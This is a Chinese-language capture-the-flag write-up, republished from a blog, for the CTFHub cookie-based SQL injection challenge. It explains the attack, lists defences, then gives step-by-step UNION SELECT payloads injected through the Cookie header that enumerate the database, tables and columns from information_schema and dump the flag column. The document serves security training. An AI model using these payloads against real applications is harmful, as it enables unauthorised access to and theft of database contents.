CTFHub - Cookie注入

2023-12-24 23:19:18

目录

1. Cookie注入原理

2. 防御

3. 初始数据包内容

4. 获取数据库 库名称

5. 获取数据表 表名称

6. 获取列名

7. 获取数据


1. Cookie注入原理

  1. Cookie是存储在客户端浏览器中的小型文本文件,用于在服务器和客户端之间传递数据。应用程序常常使用Cookie来存储用户身份验证信息、会话标识符等敏感信息。
  2. Cookie注入的原理是攻击者通过修改或伪造Cookie中的值,将恶意的SQL代码注入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。

2. 防御

  • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  • 定期更新和修补应用程序以解决已知的安全漏洞。

3. 初始数据包内容

????????SQL 注入点不止会出现在GET 参数或POST 参数中。其中Cookie注入则是一种特定的SQL注入形式,它利用了应用程序中使用的Cookie来进行攻击。

? ? ? ? 此题为Cookie注入,所以我们利用bp进行抓包,找到数据包内的Cookie进行注入。

4. 获取数据库 库名称

????????因为在CTFHub中web内SQL板块使用的是同一个数据库,所以列数是相同的。于是略过了判断列数的步骤,直接进入正题。

-2 union select 1,database()

5. 获取数据表 表名称

????????使用的命令为:select * from 表名 where 限制条件。

? ? ? ? table_schema=database() :选择当前连接的数据库(sqli)中的所有表。

????????group_concat:多个行的值合并为一个字符串的聚合函数。通俗的将就是回显出所有内容。

? ? ? ? 可以发现此处没有【flag】表,取而代之的是【gzuhxxtsjy】,查看该表中的列名。

???????【news】表一直都存在,所以第一想法先不考虑此表中的内容。

-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6. 获取列名

? ? ? ? table_name='gzuhxxtsjy' :选择表名为【gzuhxxtsjy】的表的数据。

-2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='gzuhxxtsjy'

7. 获取数据

-2 union select 1,nqxditexuo from gzuhxxtsjy

文章来源:https://blog.csdn.net/Have_a_great_day/article/details/132792690
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。